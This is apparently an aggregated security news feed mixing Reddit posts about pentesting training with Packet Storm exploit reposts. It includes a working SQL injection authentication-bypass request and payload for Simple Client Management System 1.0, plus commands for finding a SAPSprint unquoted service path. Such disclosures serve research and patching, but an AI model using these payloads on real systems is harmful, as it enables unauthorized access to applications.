HackTheBox or TryHackMe ?
https://www.reddit.com/r/Pentesting/comments/o7pq31/hackthebox_or_tryhackme/

<!-- SC_OFF -->I am curious about your opinions of these two, since I've heard some negativity about THM's support and ethics. That said, my goal is to break into the cyber security industry. I'm already studying for OSCP as I've used Kali for years, but I do lack lab environments / training. BTW, I have 25 years of IT experience. I was a Unix admin in the 90s, and spent 20+ years with Linux, and Cisco networking. My goal is to use that foundational knowledge, learn what's required for OSCP, and have a sandbox / lab I can use. Would HTB or THM be suitable? Would you choose one over the other? <!-- SC_ON --> submitted by /u/DuskThaw (https://www.reddit.com/user/DuskThaw)
[link] (https://www.reddit.com/r/Pentesting/comments/o7pq31/hackthebox_or_tryhackme/) [comments] (https://www.reddit.com/r/Pentesting/comments/o7pq31/hackthebox_or_tryhackme/)

hacking: security in practice
Your definition of hacking?

I would like to hear everybody's definition of hacking because I feel like the word is used very loosely and I want to know what this community considers it to be.

submitted by /u/Mouthybard25364
[link] [comments]

hacking: security in practice
Microsoft Azure Fundamentals (AZ-900) Free Training - Will Cover Full Course

Howdy everyone,

I'm doing free training on the Microsoft Azure Fundamentals Course (AZ-900). Will also be covering other Microsoft courses as well as courses from other vendors.

I will be covering the full AZ-900 course and my intention is to do this with other courses too. Really hoping this helps someone out there. This should be more than enough to be able to pass the Microsoft International Certification Exam and should also prove useful in the workplace for those that just want to learn more or those that need to troubleshoot something.

In case someone wants to point out that the AZ-900 specifically is also delivered for Free by Microsoft, yes I'm fully aware of that. You do however normally need to book that and can only attend on certain times. It also comes down to preference. Some people just connect better with other people's way of presenting something.

Have a look at my way of delivering and if you don't like it, well then don't watch it lol. I normally tend to go the extra mile with the topics. I don't just explain the theory you need to know for the exam but I also add a little extra. I also cover most topics practically by actually demonstrating them on the Microsoft Azure portal. :)

Enjoy!

Free Microsoft Azure AZ-900 Training!

submitted by /u/FunkyMonkey1360
[link] [comments]

Bypass go BRAAAAAAAAAA !!!!!

Hello to everyone, I hope you all are well in this pandemic.Continue reading on Medium »
Read more...

Bypass go BRAAAAAAAAAA !!!!!
https://lnxcs.medium.com/bypass-go-braaaaaaaaaa-e6cf656148e8?source=rss------bug_bounty-5

Hello to everyone, I hope you all are well in this pandemic.Continue reading on Medium » (https://lnxcs.medium.com/bypass-go-braaaaaaaaaa-e6cf656148e8?source=rss------bug_bounty-5)

Exploit Collector
JNLP Injection To Multi-OS Code Execution

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Whitepaper discussing BIZARRELOVETRIANGLE and FULLCLIP - JNLP parameter injection attacks to remote, persistent, multi-os code execution.

MD5 | 3cd80632607e5fe52441faab30881494

Download
Source:packetstormsecurity.com

Exploit Collector
Simple Client Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Simple Client Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 116a4b2bb22e3a0fa3b71578facd6011

Download
# Exploit Title: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)
# Date: 24-06-2021
# Exploit Author: Barış Yıldızoğlu
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/client-details.zip
# Version: 1.0
# Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3

Request:

POST /client%20details/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1 /client%20details/index.php
Cookie: PHPSESSID=86klv32pm6nvt60qtli6peonod
Upgrade-Insecure-Requests: 1

uemail={Payload Here}&password=&login=LOG+IN
# Proof of Concept:
Payload: admin' or 1=1#

Source:packetstormsecurity.com

Exploit Collector
Online Pet Shop We App 1.0 SQL Injection / Shell Upload

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Online Pet Shop We App version 1.0 suffers from remote SQL injection and shell upload vulnerabilities.

MD5 | c011359f21acb9342fc6db0b0ddfa0be

Download
Source:packetstormsecurity.com

Exploit Collector
SAPSprint 7.60 Unquoted Service Path

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
SAPSprint version 7.60 suffers from an unquoted service path vulnerability.

MD5 | ae47ef8f34c49cafe177bc1f46014831

Download
# Exploit Title: SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 21-06-2021
# Vendor Homepage: https://brother.com/
# Tested Version: 7.60
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

SAPSprint SAPSprint C:\Program Files\SAP\SAPSprint\sapsprint.exe Auto

C:\>sc qc SAPSprint
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SAPSprint
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME: C:\Program Files\SAP\SAPSprint\sapsprint.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SAPSprint
DEPENDENCIES : Spooler
SERVICE_START_NAME: LocalSystem

Source:packetstormsecurity.com

Kali Linux Tutorials
pyWhat : Identify Anything. Easily Lets You Identify Emails, IP Addresses, And More…

pyWhat is the easiest way to identify anything. pip3 install pywhat && pywhat –help What is this? Imagine this: You come across some mysterious text 🧙‍♂️ 5f4dcc3b5aa765d61d8327deb882cf99 and you wonder what it is. What do you do? Well, with what all you have to do is ask what "5f4dcc3b5aa765d61d8327deb882cf99" and what will tell you! what‘s job is to identify what something is. Whether it be a file or text! […]

The post pyWhat : Identify Anything. Easily Lets You Identify Emails, IP Addresses, And More… appeared first on Kali Linux Tutorials.